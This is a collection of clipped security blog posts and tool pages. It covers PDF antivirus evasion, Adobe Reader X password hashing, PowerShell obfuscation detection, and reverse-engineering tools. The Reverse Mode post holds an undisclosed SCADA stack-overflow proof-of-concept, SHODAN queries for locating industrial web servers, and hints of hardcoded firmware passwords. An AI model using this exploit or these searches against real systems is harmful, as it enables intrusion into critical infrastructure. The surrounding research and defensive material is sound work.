Symantec client I used in this demonstration either - it applies to all
traditional AV scanners. In fact, in my opinion the Symantec Endpoint Security
product is one of the best available - some of the other scanners I tested
while writing this did not pick up any of the PDF files I used as being
malicious at all \(not mentioning any names to protect the guilty\). The
problem with AV scanning is it's reliance on seeking patterns or signatures in
files in order to classify them as "bad" \- if an attacker can change the file
so that that pattern no longer appears the file is no longer classified as
"bad", and by default then becomes "good".  
  
In the case of malicious PDF files, if a particular sample PDF file becomes
widely spread \(if enough people are pwned by it\), then AV vendors will get a
copy of the file and AV scanners will start detecting it. However, as you have
just seen it's fairly trivial for an attacker to get around this detection,
and until the AV vendors get a copy of the modified file they won't be able to
adjust their definitions accordingly, and the AV product wont help you. So
don't make the same mistake that so many current day IT Professionals make and
NEVER place absolute faith in your AV product to protect you from from all the
badness out there\! The AV vendors themselves definitely realise there is a
problem here, and thats why a number of security software vendors are starting
to include Host Intrusion Prevention and cloud based intelligence functions
into their products. So, if you are looking for software to provide protection
against Internet nasties, make sure you don't just get an AV product, go for
something that has HIPS style functionality as well.  
  
Second - patch your third party applications\! No really, get them patched and
do it quick\! New PDF exploits are being released on a regular basis \(the
latest only a few days ago\), and one of the most definitive strategies for
not getting pwned by these exploits is to patch ASAP and NOT RUN SOFTWARE WITH
KNOWN VULNERABILITIES\! If you're a home user the Secunia PSI provides an
excellent way to get informed when any of your installed third party
applications need an update, and if you're a corporate user then theres plenty
of other products that you can use to report on vulnerable software and even
to distribute the patches for you \(and no I'm not talking about WSUS - that
doesn't handle third party apps\). If you want some suggestions just get in
contact with me - I'm sure you will find my consulting rates quite reasonable
;\) \(No really, I have a day job already, but you can ask me questions if you
want.\)  
  
Third - In a large network there is a wide variety of other things apart from
just using AV/HIPs software that you can do to prevent these types of targeted
attacks, and an excellent summary is available from right here. Well worth a
read if your job involves securing a large network.  
  
Fourth - alternate PDF reader software anyone? Readers other than Acrobat are
not necessarily free from problems either... but they generally have less of
them, and they are less popular so they are less of a target. Just something
to keep in mind.

# The undocumented password validation algorithm of Adobe Reader X - Sogeti
ESEC Lab

**Created:**| _10/7/2011 10:19:55 AM_  
---|---  
**Updated:**| _10/7/2011 10:19:55 AM_  
**Author:**| __  
**Tags:**| _reversing Malware-analysis_  
  

## The undocumented password validation algorithm of Adobe Reader X

By guillaume » Wednesday 14 September 2011, 12:25 - Reverse engineering

Someone recently sent me an email about troubles when opening in Origami
encrypted PDF documents produced by Acrobat Pro X. At first I thought it was a
bug, but while looking in the data of the document I noticed two unusual
things: the specified PDF version was _Extension Level 8_ and the revision
level of the cryptographic handler was 6. However at this time, the latest
published specification by Adobe is the _Extension Level 5_ , and it makes no
mention about a revision 6 of the security handler.

After some quick researchs, it appears that the specifications for this PDF
version have not been released by Adobe, but are yet implemented in Adobe
Reader X. This undocumented version makes use of a new password validation
algorithm when opening encrypted documents.

Apparently the _Extension Level 8_ is an intermediate PDF version to prepare
for the future arrival of the new ISO specifications \(32000-2, _aka_ PDF
2.0\). Those are still in development, and the current drafts seem to be only
available for the members of the ISO committee. As I could not find any
publicly available documentation about the new password validation scheme, I
decided to directly take a look inside Adobe Reader X.

Before detailing the algorithm, just a short history about Adobe encryption
schemes used in PDF.

The first implementations of PDF used about 50 rounds of MD5 to validate the
user password, then used RC4 or AES-128 to encrypt the document contents. With
the arrival of Adobe Reader 9 and the _PDF Extension Level 3_ , Adobe switched
to a single round of SHA-256 combined with AES-256. While SHA-256 is
considered as cryptographically more secure than MD5, this scheme was less
resistant against a bruteforce attack. Adobe tried to remove this weakness by
replacing the single SHA-256 pass with a custom key stretching algorithm to
validate the user password. AES-256 is still the cipher being used for the
encryption part.

The new algorithm is based on SHA-256, SHA-384, SHA-512 and AES-128-CBC. It
takes a user password encoded in UTF-8 up to 127 characters, combined with an
8 or 56 bytes salt, and produces a 256-bit hash. I am personally not aware of
any known algorithm similar to this one, so I assume this is Adobe's personal
design.

Here is the algorithm in pseudocode:

`revision6_hash(password, salt, vector = '')  
{  
block_size = 32;  
input = SHA-256(password + salt + vector);  
key = input[0..15];  
iv = input[0..15];  
  
i = 0;  
while ( i < 64 || i < x[block_size-1] + 32 )  
{  
block = input[0..block_size-1];  
aes = AES-128-CBC.init(key, iv);  
  
for ( j = 0; j < 64; j++ );  
{  
x = aes.update(block);  
if ( vector )  
x = x + aes.update(vector);  
  
if ( j == 0 )  
switch ( sum_of_first_16_bytes_of_x % 3 )  
{  
case 0:  
block_size = 32;  
digest = SHA-256;  
  
case 1:  
block_size = 48;  
digest = SHA-384;  
  
case 2:  
block_size = 64;  
digest = SHA-512;  
}  
  
digest.update(x);  
}  
  
h = digest.final();  
input = h;  
key = h[0..15];  
iv = h[16..31];  
  
i++;  
}  
  
return h[0..31];  
}`

The parameter _salt_ is the 8-bytes \(user or owner\) key validation salt. The
parameter _vector_ is actually only present when hashing the owner password
\(it then contains the 48-bytes **/U** key\).

I upgraded Origami to version 1,1 and included this algorithm. Beware that
documents encrypted with this method cannot be opened in Adobe Reader 9 or
earlier. By the way, other undocumented PDF features might also potentially be
present in Adobe Reader X.

You can use the helper script **pdfencrypt** if you want to test it
\(_\--hardened_ switch\). For example, using this method with a null password:

`$ pdfencrypt -c aes -s 256 --hardened clear.pdf -o protected.pdf`

The previous implementation \(single SHA-256 pass\) is not available anymore
in the latest version of Acrobat Pro X, so Adobe manifestly wants to get rid
of it.

# Trying to Detect PowerShell Obfuscation Through Character Frequency

**Created:**| _5/7/2017 10:30:46 AM_  
---|---  
**Updated:**| _5/7/2017 10:30:46 AM_  
**Author:**| __  
**Tags:**| _powershell Obfuscation_  
  

  

# Trying to Detect PowerShell Obfuscation Through Character Frequency

Apr 18, 2017

In my last post describing the usage of ObfuscatedEmpire for automating
PowerShell obfuscation within a C2 channel, I mentioned a technique others
have proposed for detecting malicious PowerShell scripts. The technique,
originally suggested by Lee Holmes \(of Microsoft\), is to search for signs of
obfuscation itself.

For example, a token obfuscation trick utilized by Invoke-Obfuscation is to
insert apostrophes into function names and other tokens. `Invoke-Empire` might
become `iN`v`OK`e-`eM`p`IR`e`. These are functionally equivalent within
PowerShell, but will break AV signatures matching the literal string “Invoke-
Empire”. But should we really expect that half of the characters in a script
consist of apostrophe characters? Lee wrote about these types of detection
methods as early as November 2015 here. In this post, however, I’ll mainly be
referencing his more recent article that was written partially as a reaction
to Invoke-Obfuscation, which you can read here. He provides us with some
really awesome PowerShell functions that actually begin to implement these
obfuscation detection techniques, `Measure-CharacterFrequency` and `Measure-
VectorSimilarity`.

This post is essentially just me trying to reproduce the results found by Lee
in his article and provide a wrapper script for his work that can be used to
detect obfuscated scripts.

This script, Invoke-ObfuscationDetection, serves as a wrapper for Lee’s
functions that could be used to operationalize character analysis based
obfuscation detection. `Invoke-ObfuscationDetection` defines a baseline of the
“normal” character distribution of PowerShell scripts, calculates the
character distribution of the given PowerShell script, defines a vector
similarity of the character distribution the given script must meet, and then
returns a boolean `True` or `False` answer to whether the script is obfuscated
or not based on the result.

I began writing `Invoke-ObfuscationDetection` and this article hoping to
demonstrate that this technique could serve as an operationally effective
means of detecting or even **blocking** \(through AMSI\) obfuscated PowerShell
scripts. After playing around with it a bit, I don’t believe the detection is
effective enough to actually block scripts \(we’ll see why later\), but it
could be useful to detect potentially obfuscated scripts that are worthy of
further investigation.

## Usage

`Invoke-ObfuscationDetection` returns a boolean “IsObfuscated” result, given a
string containing a script:

[code]

    PS> Invoke-ObfuscationDetection -Script 'iN`v`OK`e-`eM`p`IR`e'
    
    Obfuscated
    ----------
          True
    
[/code]

`Invoke-ObfuscationDetection` also accepts filenames containing scripts as
input with the `-ScriptPath` parameter. We can also take values from the
pipeline:

[code]

    PS /opt/ObfuscatedEmpire/data/obfuscated_module_source/> Get-ChildItem -Recurse -Include *.ps1 | Invoke-ObfuscationDetection | % { $_.Obfuscated } | Group-Object
    
    Count Name                      Group
    ----- ----                      -----
       72 True                      {True, True, True, True...}
        2 False                     {False, False}
    
[/code]

That command shows the results of `Invoke-ObfuscationDetection` on Empire
modules obfuscated by `Invoke-Obfuscation`’s `Token\All\1` command. Pretty
effective\!

We can also feed ScriptBlock logs through `Invoke-ObfuscationDetection`
\(Enable ScriptBlock logging\!\):

[code]

    PS> Get-WinEvent -FilterHashtable @{ProviderName="Microsoft-Windows-PowerShell"; Id = 4104} | % { [PSCustomObject] @{ ScriptName = $_.Properties[3].Value; Script = $_.Properties[2].Value } } | Invoke-ObfuscationDetection | Select -First 2
    Name                                 Obfuscated
    ----                                 ----------
    2980cef2-ed31-4146-870a-a395b2d3debf       True
    431be04f-98a5-47cf-8e47-e565ccf6e520      False
    
[/code]

## Methodology

Before discussing the effectiveness of `Invoke-ObfuscationDetection`, I think
it’s important to explain the implementation and testing methodology used,
because it certainly is not robust. One of the challenges in the
implementation of `Invoke-ObfuscationDetection` was determining what
constitutes “normal” PowerShell scripts. The way I accomplished this was by
downloading every script on poshcode.org, removing the intentionally
obfuscated scripts and those identified as malware by Windows Defender
\(leaving a total of 5552 scripts\), and using the `Measure-
CharacterFrequency` function \(on half of them\) to get the average character
distribution.

The second challenge is determining the acceptable difference from the average
character distribution. Not every script is going to totally conform to the
average character distribution. We will use the `Measure-VectorSimilarity`
function to measure the difference from the average character distribution.
But how do we decide the acceptable difference? I found it easiest to use an
empirical approach. We take a sample of half of our 5552 scripts to train and
half to test \(to avoid overfitting\). The first half is what we feed to
`Measure-CharacterFrequency` to determine average character distribution. The
second half of scripts will be our testing set.

## Effectiveness

There are two important things to test when trying to implement an AV function
\(which is essentially what we are doing\), the false positive rate and false
negative rate. A false negative occurs when we feed an obfuscated script to
`Invoke-ObfuscationDetection`, but it is not detected as obfuscated. A false
positive occurs when we feed an unobfuscated script to `Invoke-
ObfuscationDetection`, but it is detected as obfuscated. We would like to
minimize both of these numbers. Decreasing either rate increases the other,
the key is to find a balance that provides acceptable false negative and false
positive rates.

In our case the variable that determines the false positive/negative rates is
the vector similarity requirement we choose. We will use our testing set of
scripts to empirically determine the optimal vector similarity requirement to
minimize the false positive and negative rates, but of course, we can’t
minimize both. We take our training set of scripts and obfuscate them using
`Invoke-Obfuscation`’s `Token\All\1` command. We submit all of the
unobfuscated versions to `Invoke-ObfuscationDetection` to determine the false
positive rate, and submit all of the obfuscated versions to `Invoke-
ObfuscationDetection` to determine the false negative.

We will run this experiment with various vector similarity requirements, and
compare false positive/negative rates at each of these requirements. The
following chart helps to visualize the data \(X-axis is similarity
requirement, Y-axis is false positive/negative percentage\):

<img src='img/Temp2_8483.png' width='740' height='518' alt='Rates Chart' />

And the raw data, for some extra details:

<img src='img/Temp2_8486.png' width='435' height='530' alt='Rates Table' />

Lee suggested a vector similarity requirement of 0.8, and our data shows
similar results. In his article, he mentions that about 2% of scripts fall
lower than a 0.8 vector similarity rate, and we see similar results ourselves.
With this 0.8 requirement we have about an **8% false negative rate** , which
seems reasonable. Unfortunately, the **2% false positive rate** is probably
too high to actually prevent execution using AMSI. Imagine if your AV flagged
1 in every 50 files on your computer as malware, you would never finish
clearing the notifications\! We also can’t raise the 0.8 vector similarity
requirement much higher. Any higher and the false positive rate starts to
skyrocket. However, I do think it is reasonable to flag 2% of PowerShell
scripts as potentially obfuscated for them to be further investigated by
humans.

`Invoke-ObfuscationDetection` enforces this vector similarity rate of 0.8 by
default. You can also specify another more strict or lenient requirement
depending on if you want to make more or less work for yourself:

[code]

    PS> Invoke-ObfuscationDetection -Script "Inv`ok`e-Ex`pre`s`s`ion 'Write-Host test'"
    
    Obfuscated
    ----------
          False
    PS> Invoke-ObfuscationDetection -Script "Inv`ok`e-Ex`pre`s`s`ion 'Write-Host test'" -RequiredSimilarity 0.85
    
    Obfuscated
    ----------
          True
    
[/code]

## Minimizing Obfuscation

The real problem here is that the obfuscation mechanism used \(`Invoke-
Obfuscation`’s `Token\All\1` command\) is heavy, randomized obfuscation of all
tokens in a script. Any attempt at more subtle obfuscation makes the detection
metrics much worse. And unfortunately, the majority of AMSI signatures I have
seen don’t require much obfuscation to successfully evade AV detection.

Let’s check out what our false positive/negative rates are after **slightly**
less obfuscation using `Invoke-Obfuscation`’s `Token\String\1` command
\(X-axis is similarity requirement, Y-axis is false positive/negative
percentage\):

<img src='img/Temp2_8484.png' width='740' height='442' alt='Rates Chart' />

And again the raw data, for the curious:

<img src='img/Temp2_8485.png' width='440' height='529' alt='Rates Table' />

Uh oh. Suddenly our optimal 0.8 similarity requirement results in an **80%
false negative rate**\! I’m not sure how well attackers are currently
minimizing their obfuscation out in the wild, but it’s something we need to be
aware of. Character analysis should definitely be useful to detect some more
obvious obfuscation, but it’s also not something we can rely on.

I’m currently working on a new project that begins to head in the direction of
**minimal** obfuscation to further demonstrate to defenders the potential for
abuse. If we begin to rely on ineffective or incomplete obfuscation detection
to alert us to malicious PowerShell obfuscation, we will miss that middle area
where scripts are obfuscated enough to pass AV detection but not enough to be
detected through character analysis.

Much more on that topic to come.

# Credits

I borrowed heavily from Lee Holmes in this post. Here are his posts I
referenced:

  * His first article detailing PowerShell obfuscation detection: https://www.leeholmes.com/blog/2015/11/13/detecting-obfuscated-powershell/
  * The follow-up that is referenced most in this article: https://www.leeholmes.com/blog/2016/10/22/more-detecting-obfuscated-powershell/

An additional, relevant post for defenders:

  * https://blogs.msdn.microsoft.com/powershell/2015/06/09/powershell-the-blue-team/

#### Keine Kommentare bis jetzt

Kommentar hier eintippen \(mindestens 3 Zeichen\)

  

# WDExtract - Extract Windows Defender database from vdm files and unpack it -
KernelMode.info

**Created:**| _5/10/2019 8:30:05 AM_  
---|---  
**Updated:**| _5/10/2019 8:30:05 AM_  
**Author:**| __  
**Tags:**| _antivirus windows-environment_  
  

  

### WDExtract - Extract Windows Defender database from vdm files and unpack it

__ \#32836  __ by **EP\_X0FF**  
__ Fri Apr 19, 2019 5:37 pm

As continuation of this thread viewtopic.php?f=13&t=5496.  
  
Features  
  
\+ Unpack VDM containers of Windows Defender/Microsoft Security Essentials;  
\+ Decrypt VDM container embedded in Malicious software Removal Tool
\(MRT.exe\);  
\+ Extract all PE images from unpacked/decrypted containers on the fly \(-e
switch\):  
\+ dump VDLLs \(Virtual DLLs\);  
\+ dump VFS \(Virtual File System\) contents;  
\+ dump signatures auxilarity images;  
\+ code can be adapted to dump type specific chunks of database \(not
implemented\);  
\+ Faster than any script.  
  
https://github.com/hfiref0x/WDExtract  
  
As-is, no warranties. Feel free to contribute.

__

Ring0 - the source of inspiration

# WinHeapExplorer/WinHeap-Explorer

**Created:**| _9/4/2017 9:21:23 AM_  
---|---  
**Updated:**| _9/4/2017 9:21:23 AM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

# WinHeap-Explorer

The efficient and transparent proof-of-concept tool for heap-based bugs
detection in x86 machine code for Windows applications.

\#Requirements WinHeap Explorer main module

  1. Intel pin-2.14-71313-msvc10-windows http://software.intel.com/sites/landingpage/pintool/downloads/pin-2.14-71313-msvc10-windows.zip

IDAScripts

  1. IDA disassembler \(6.8 or higher\) + IDAPython.

\#Usage

[code]

    pin.exe -t winhe.dll -o results.txt -d sysdlls_ins_list -redzones_size 16 -- calc.exe
    -d <sysdlls_ins_list> - file with a list of instructions in system or/and user dlls that should be instrumented.
    -o <log_file> - file to save results.
    -redzones_size - size of redzones to check heap out of bound access (default 8).
    
[/code]

A list of instructions to instrument may be obtained using the scripts
provided in the IDAScript folder:

[code]

    sysdlls_parser.py [path to system dll]
    usedlls_parser.py -d 2 [path to user dll]
    -d <depth_level> - search depth level for potentially dangerous routines.
    Please take a look at config.conf file to configure the scripts.
    
[/code]

NOTE: The IDAScripts is possible to use directly from IDAPro without wrappers
specified above.

  

# uhd - UHD Start - Ettus Research LLC

**Created:**| _2/17/2011 5:01:26 PM_  
---|---  
**Updated:**| _2/17/2011 5:01:32 PM_  
**Author:**| __  
**Tags:**| _Lab-Setup windows environment_  
  

# UHD Start

The UHD is the universal hardware driver for Ettus Research products. It works
on all major platforms \(Linux, Windows, and Mac\); and can be built with GCC,
Clang, and MSVC compilers.

The goal of the UHD is to provide a host driver and API for current and future
Ettus Research products. Users will be able to use the UHD driver standalone
or with 3rd party applications such as Gnuradio, Labview, or Simulink. See
below for the Gnuradio instructions.

If you are using UHD standalone or with Gnuradio, pre-built binaries are not
available. You will need to compile UHD for your system. See the build guide
in the manual below.

# Reverse Mode - Exposing HMS HICP Protocol + 0Day 'light' + SCADA\_SHODAN

**Created:**| _12/18/2009 10:19:30 PM_  
---|---  
**Updated:**| _12/18/2009 10:19:37 PM_  
**Author:**| __  
**Tags:**| _reversing scada_  
  
EXPOSING HMS HICP PROTOCOL + 0DAY 'LIGHT' + SCADA\_SHODAN | <img src='img/Temp2_6920.png' alt='PDF' />| <img src='img/Temp2_6922.png' alt='Print' />| <img src='img/Temp2_6921.png' alt='E-mail' />  
---|---|---|---  
Written by Rubén  
---  
Monday, 14 December 2009  
* * *
<img src='img/Temp2_6918.png' />I'll be conducting a ** _Reverse Engineering
Training_** \(8 hours = 1 day\) within the context of the RootedCON Security
Conference on March 15, 2010.  
  
RootedCON 2010 will take place at the Auditorium inside the "**_Centro de
Convenciones Mapfre_**", in Madrid, Spain \(Europe :P\), on March 18 - 20,
2010. More info: **http://www.rootedcon.es**  
Reversemode 2.0 hehe, http://www.twitter.com/reversemode

* * *
  
  
Hi all,  
After a long period of inactivity I'm back with fresh content. Today we are
going to reverse a simple M2M propietary protocol developed by the swedish
company ** _HMS_**.In addition to this, a related 0day will be disclosed and
finally, we'll learn to find out SCADA systems with the help of the new toy:
** _SHODAN_**  
  
**1st PART "HMS HICP Protocol"**  
  
AFAIK there is no public documentation about this protocol, if not so please
let me know and I'll repeatedly hit myself with a sharpened stick.All the
information presented here has been obviously obtained by reverse engineering.  
Despite of the fact that this protocol is not complex,I think it has a
potential interest regarding SCADA security.You'll see why.  
HICP, is intented to configure HMS's products that include ethernet/
capabilities, since they need a method for configuring Internal
IP,DCHP,NetworkMask,DNS,gateway.... In 2004 HMS ** _released_** a free tool
named "Anybus IPconfig" which can be used to scan a network where the devices
are connected, then proceeding to configure them. The components of this
application are a simple MFC based GUI and a dll \(hicp.dll\). So let's take a
look at the exports:  
  
Code \(asm\) .text:100027AF ; int \_\_cdecl HICP\_SendModuleScan\(\)  
.text:100027AF public ?HICP\_SendModuleScan@@YAHXZ  
.text:100027AF ?HICP\_SendModuleScan@@YAHXZ proc near  
.text:100027AF push ebp  
.text:100027B0 mov ebp, esp  
.text:100027B2 call sub\_10002175  
.text:100027B7 pop ebp  
.text:100027B8 retn  
.text:100027B8 ?HICP\_SendModuleScan@@YAHXZ endp  
In C Code \(c\)  sprintf\(&Dest, "Module Scan"\);  
to.sa\_family = AF\_INET;  
\*\(\_WORD \*\)&to.sa\_data\[0\] = htons\(HICP\_PORT\); // 3250 UDP  
\*\(\_DWORD \*\)&to.sa\_data\[2\] = htonl\(IP\_BROADCAST\);  
v1 = strlen\(&Dest\);  
if \( sendto\(s, &Dest, v1 + 1, 0, &to, 16\) \!= -1 \)  
So we can see that in order to scan the network, this tool sends a broadcast
UDP packet containing the string "Module Scan" to the HICP port \(3250\).
Inside HMS-AnyBus based devices we can find a hicp daemon listening on port
3250. Once the device receives that packet it broadcasts a reply, which
contains its current configuration, to the network on port 3250. The configure
Tool listens on this port as well. Let's see what parameters can be configured
via this protocol.  
  
**Any value after the '=' can be modified.**  

[code]

    +“Protocol version = 1.10; ” # Obvious
    +”fb type = EVIL-DEVICE; ” # Device Type
    +”module version = 0.66.6; ” # ...
    +”mac = 00-30-11-00-CA-FE; ” # MAC
    +”ip = 192.168.1.252; ” # ...
    +”sn = 255.255.255.0; ” # Network Mask
    +”gw = 192.168.1.1; ” # Gateway
    +”dhcp = off; ” # whether the device is using a DHCP server for obtaining the IP address. (on/off)
    +”pswd = off; ” # whether the device is using a PASSWORD(on/off)
    +”hn = morroBufalo; ” # hostname (optional)
    +”dns1 = 192.168.1.33; ” # Primary DNS
    +”dns2 = 192.168.1.34; ” # Secondary DNS (optional)
    +”password = admin; ” # old password (if any, admin by default)
    +”new password = fatbird; ” # new password
    
    
[/code]

These parameters are sent via UDP in plain text, concatenating each one and
separated by a ";".  
If you want to configure a device, you need to prepend a "Configure:" string
in this way: "Configure: xx-xx-xx-xx-xx-xx;"+ parameters\_string. Where xx-xx-
xx-xx-xx-xx is the MAC of the device you want to configure. You can take a
look at HICP\_SendConfigure code to verity it. This request is broadcasted so
is received by any device/machine in the network listening on 3250/UDP. The
device checks the MAC against it own and if matches then proceeds to update
its internal registers.The first three bytes of the MAC are always 00-30-11
which correspond to the ** _HMS' oui_** as expected.  
  
In addition to this request, there are a couple of additional replyes
implemented:  
  
\+ "Invalid Password:" to indicate a failed configuration attempt  
\+ "Reconfigured:" to indicate success.  
  
  
That's all. Make your own conclusions about the security level of this
protocol.I'm just presenting facts. **2nd Part "Intellicom NetBiterConfing.exe
Remote Stack Overwrite". Oday Light.**  
Another swedish company this time, Intellicom develops a serie of SCADA
products/devices named NetBiter ** _WebSCADA_** which are based on HMS AnyBus
RemoteCOM device.  
We can download the firmware, as well as two tools to configure and update
these devices respectively.Free goods are always nice. First off, taking a
look at the GUI of the tool for configuring devices, NetBiterConfig.exe, we
can see that looks pretty similar to the HMS one.Except for a couple of added
buttons, one to "wink" a device and the other is to start an "emergency" DHCP
server, the tools contains the same components: hicp.dll and a MFC GUI.
However, this one contains a surprise.  
Ok, ** _NetBiterConfig.exe_** is listening on 3250/UDP receiving packets for
any interface, so we can send a specially crafted UDP packet from outside the
network to trick the tool into thinking we are a NetBiter device.  
  
<img src='img/Temp2_6919.png' /> If we fill "hn" parameter \(HostName\) with
more than 0x20 bytes, we can start to overwrite data in the stack. By
constructing a hostname of 0x60 bytes we can overwrite a pointer to an vtable
of applications' subclassing methods, this can be used to achieve code
execution by emulating a vtable under our control. 0x60 is not an arbitrary
value, it allows us to get %esi pointing to the last 0x20 \(approximately\)
bytes of our shellcode. The flaw is triggered when the admin double-clicks in
the list box item.  
  
The flaw is a classic strcpy without proper bounds checking in
NetBiterConfig.exeCode \(asm\) .text:00403E52 lea edx, \[ebp-0ABh\]  
.text:00403E58 push edx ; evil hostname  
.text:00403E59 lea eax, \[ebp-3CCh\]  
.text:00403E5F push eax  
.text:00403E60 call strcpy  
The flaw does not exist in AnybusIpconfig.exe since it uses "strncpy":  
  
Code \(asm\) .text:00403691 push 80h  
.text:00403696 lea eax, \[esp+0E1h\]  
.text:0040369D push eax  
.text:0040369E lea ecx, \[esp+494h\]  
.text:004036A5 push 80h  
.text:004036AA push ecx  
.text:004036AB mov byte ptr \[esp+530h\], 1  
.text:004036B3 call sub\_425666  
….  
….  
.text:004256D9 mov cl, \[edx\]  
.text:004256DB mov \[eax\], cl  
.text:004256DD inc eax  
.text:004256DE inc edx  
.text:004256DF cmp cl, bl  
.text:004256E1 jz short loc\_4256EB  
.text:004256E3 dec edi  
.text:004256E4 jz short loc\_4256EB  
.text:004256E6 dec \[ebp+arg\_C\]  
.text:004256E9 jnz short loc\_4256D9  
I have not contacted the vendor because I don't feel like it. I am tired of
having to elaborate a high technical issue to a customer support agent who
will be thinking for sure "WTF?\!?".  
I've got a new ethic rule: "No explicit security contact publicily available +
no money involved \(I'm used to eat almost three times a day\) == 0day".  
  
PoCCode \(python\) \#\!/usr/bin/python\# Intellicom NetBiterConfig.exe 1.3.0
Remote Stack Overwrite.  
\# Ruben Santamarta - www.reversemode.com  
\# For research purposes ONLY.  
\# If you use this code to cause damage I’ll cut you open like a f\*\*\*ing
pig.import sys  
import sockets = socket.socket\(socket.AF\_INET,socket.SOCK\_DGRAM\)  
s.connect\(\("10.10.10.10",3250\)\)  
s.send\("protocol version = 1.10; "  
+"fb type = EVIL-DEVICE; "  
+"module version = 0.66.6; "  
+"mac = 00-30-11-00-BA-CA; "  
+"ip = 192.168.1.52; "  
+"sn = 255.255.255.0; "  
+"gw = 192.168.1.1; "  
+"dhcp = off; "  
+"pswd = off; "  
+"hn = "+"A"\*0×60+"; "  
+"dns1 = 192.168.1.33;"\)  
  
  
Another interesting thing is that you can download the firmware for free. The
firmware is a .bin file that is comprised of a 0x5F bytes header, which
includes a magic 'NBU'+MajorMinorVersion+ImageSize+Checksum+VersionString,
followed by a simple gz file so if we cut off the header we can decompress the
remaining gz file. Cool. The firmware is a custom linux for MotorolaColdFire
processor. It contains interesting stuff like hardcoded passwords...  
  
**3rd PART** SHODAN is in da house. This means...SCADA systems. Watch out\!,
don't mess with this type of systems if you don't know what you are really
doing. I am not responsible in any manner of any damage you can cause.  
  
**Fuji Electric Embedded Web Server:**  
http://shodan.surtri.com/?q=fuji+electric**Ouman embedded Web Server for SCADA
+ NetBiter WebSCADA**  
http://shodan.surtri.com/?q=webscada**eWon**  
http://shodan.surtri.com/?q=ewon**Boa Web Server**  
http://shodan.surtri.com/?q=boa**EIG Embedded Web Server**  
http://shodan.surtri.com/?q=EIG**EnergyICT**  
http://shodan.surtri.com/?q=energyICT  
  
**Z-World Rabbit**  
http://shodan.surtri.com/?q=Z-World+Rabbit  
  
**Niagara Framework**  
http://shodan.surtri.com/?q=Niagara  
  
**HMS**  
http://shodan.surtri.com/?q=HMS  
  
  

# BinaryAnalysisPlatform/qira

**Created:**| _4/10/2015 7:23:26 AM_  
---|---  
**Updated:**| _4/10/2015 7:23:26 AM_  
**Author:**| __  
**Tags:**| _reversing_  
  

# BinaryAnalysisPlatform/qira

###  README.md

  * QIRA is a competitor to strace and gdb
  * See http://qira.me/ for high level usage information
  * All QIRA code is released under GPLv2 or BSD
  * Other code in this repo released under it's respective license

##  Installing release

See instructions on qira.me to install 1.0, the most stable version of QIRA

##  Installing trunk

[code]

    cd ~/
    git clone https://github.com/BinaryAnalysisPlatform/qira.git
    cd qira/
    ./install.sh
    
[/code]

##  Installation Extras

  * ./fetchlibs.sh will fetch the libraries for armhf, armel, aarch64, and ppc
  * ./pin\_build.sh will install the QIRA PIN plugin, allowing --pin to work

##  Releases

  * v1.1 -- Support for names and comments. Static stuff added. Register colors.
  * v1.0 -- Perf is good\! Tons of bugfixes. Quality software. http://qira.me/
  * v0.9 -- Function indentation. haddrline added\(look familiar?\). Register highlighting in hexdump.
  * v0.8 -- Intel syntax\! Shipping CDA\(cda a.out\) and experimental PIN backend. Bugfixes. Windows support?
  * v0.7 -- DWARF support. Builds QEMU if distributed binaries don't work. Windows IDA plugin.
  * v0.6 -- Added changes before webforking. Highlight strace addresses. Default on analysis.
  * v0.5 -- Fixed regression in C++ database causing wrong values. Added PowerPC support. Added "A" button.
  * v0.4 -- Using 50x faster C++ database. strace support. argv and envp are there.
  * v0.3 -- Built in socat, multiple traces, forks\(experimental\). Somewhat working x86-64 and ARM support
  * v0.2 -- Removed dependency on mongodb, much faster. IDA plugin fixes, Mac version.
  * v0.1 -- Initial release

[code]

    At the top, you have 4 boxes, called the controls.
      Blue = change number, Grey = fork number
      Red = instruction address(iaddr), Yellow = data address(daddr)
    
    On the left you have the vtimeline, this is the full trace of the program.
      The top is the start of the program, the bottom is the end/current state.
      More green = deeper into a function.
      The currently selected change is blue, red is every passthrough of the current iaddr
      Bright yellow is a write to the daddr, dark yellow is a read from the daddr.
      This color scheme is followed everywhere
    
    Below the controls, you have the idump, showing instructions near the current change
    Under that is the regviewer, datachanges, hexeditor, and strace, all self explanatory.
    
[/code]

##  Mouse Actions

Click on vtimeline to navigate around. Right click forks to delete them. Click
on data\(or doubleclick if highlightable\) to follow in data. Right click on
instruction address to follow in instruction.

##  Keyboard Shortcuts in web/client/controls.js

[code]

    j -- next invocation of instruction
    k -- prev invocation of instruction
    
    shift-j -- next toucher of data
    shift-k -- prev toucher of data
    
    m -- go to return from current function
    , -- go to start of current function
    
    z -- zoom out max on vtimeline
    
    l -- set iaddr to instruction at current clnum
    
    left  -- -1 fork
    right -- +1 fork
    up    -- -1 clnum
    down  -- +1 clnum
    
    esc -- back
    
    shift-c -- clear all forks
    
    n -- rename instruction
    shift-n -- rename data
    ; -- add comment at instruction
    shift-; -- add comment at data
    
    g -- go to change, address, or name
    space -- toggle flat/function view
    
    p -- analyze function at iaddr
    c -- make code at iaddr, one instruction
    a -- make ascii at iaddr
    d -- make data at iaddr
    u -- make undefined at iaddr
    
[/code]

##  Installation on Windows \(experimental\)

  * Install git and python 2.7.9
  * Run install.bat

##  Session state

[code]

    clnum -- Selected changelist number
    forknum -- Selected fork number
    iaddr -- Selected instruction address
    daddr -- Selected data address
    
    cview -- Viewed changelists in the vtimeline
    dview -- Viewed window into data in the hexeditor
    iview -- Viewed address in the static view
    
    max_clnum -- Max changelist number for each fork
    dirtyiaddr -- Whether we should update the clnum based on the iaddr or not
    flat -- if we are in flat view
    
[/code]

# Pseudo Registers have types « Analyze -v

**Created:**| _5/25/2011 4:45:22 PM_  
---|---  
**Updated:**| _5/25/2011 4:45:33 PM_  
**Author:**| __  
**Tags:**| _windows kernel windbg_  
  

## Pseudo Registers have types

_OK, so, I was shamed into updating my blog this week…Sorry for the long
delay, though I can’t promise that it won’t happen again<img
src='img/Temp2_6471.gif' alt=':)' />_

I’ve talked about pseudo registers and interesting ways to use them before,
but I’ve failed to mention one other nice feature about them: some pseudo
registers are typed when using the C++ evaluator. Specifically, the
**@$thread, @$proc, @$teb,** and **@$peb** registers are typed to be their
appropriate data structure. This means that when using these pseudo registers
in a C++ expression, you can just reference whatever fields you want directly
as if they are pointers.

So, for example, if I want to inspect the _TopLevelIrp_ field of the current
thread \(which is a very strange field and a discussion of its own for another
day\), I can just do the following:

[code]

    0: kd> ??@$thread->TopLevelIrp
    unsigned long 0
    
[/code]

Or maybe I want to see the command line that was used to launch the current
process. In that case, I can just do the following:

[code]

    0: kd> ??@$peb->ProcessParameters->CommandLine
    struct _UNICODE_STRING
